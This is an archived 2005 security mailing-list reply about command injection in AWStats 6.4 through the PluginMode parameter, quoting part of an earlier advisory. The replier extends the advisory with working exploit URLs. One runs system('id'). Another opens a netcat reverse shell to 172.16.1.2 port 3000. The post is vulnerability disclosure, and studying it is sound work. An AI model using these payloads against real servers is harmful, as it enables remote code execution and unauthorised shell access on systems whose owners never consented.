OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Re: AWStats <= 6.4 Multiple vulnerabilities

From: Ondra Holecek (blndeprese.net)
Date: Tue Feb 15 2005 - 09:24:41 CST

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

GHCwww.securityfocus.com wrote:
|
| /*==========================================*/
| // GHC -> AWStats <- ADVISORY
| \\ PRODUCT: AWStats
| // VERSION: <= 6.3
| \\ URL: http://awstats.sourceforge.net/
| // VULNERABILITY CLASS: Multiple vulnerabilities
| \\ RISK: high
| /*==========================================*/

[...]

|
| PluginMode=:print+getpwent
|
| And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
| This will satisfy eval() requirements., and :print getpwent() is executed.
|
|
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
|
| Sanitazing limits user's input, but there is no filtration for call
sympols '()'.

no, user is not limited, he can execute ANY command if he add ; at the
end of the command, try this

awstats.pl?&PluginMode=:print+system('id')+;

or even this

awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;

Ondra
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)

iD8DBQFCEhQ5fz/hUj18TqkRAm92AKCB8p7DEirtizNdeqIv1314VcclHgCaAoO8
t85gyPeNyeIKSl1NPDuBUaE=
=CZ4M
-----END PGP SIGNATURE-----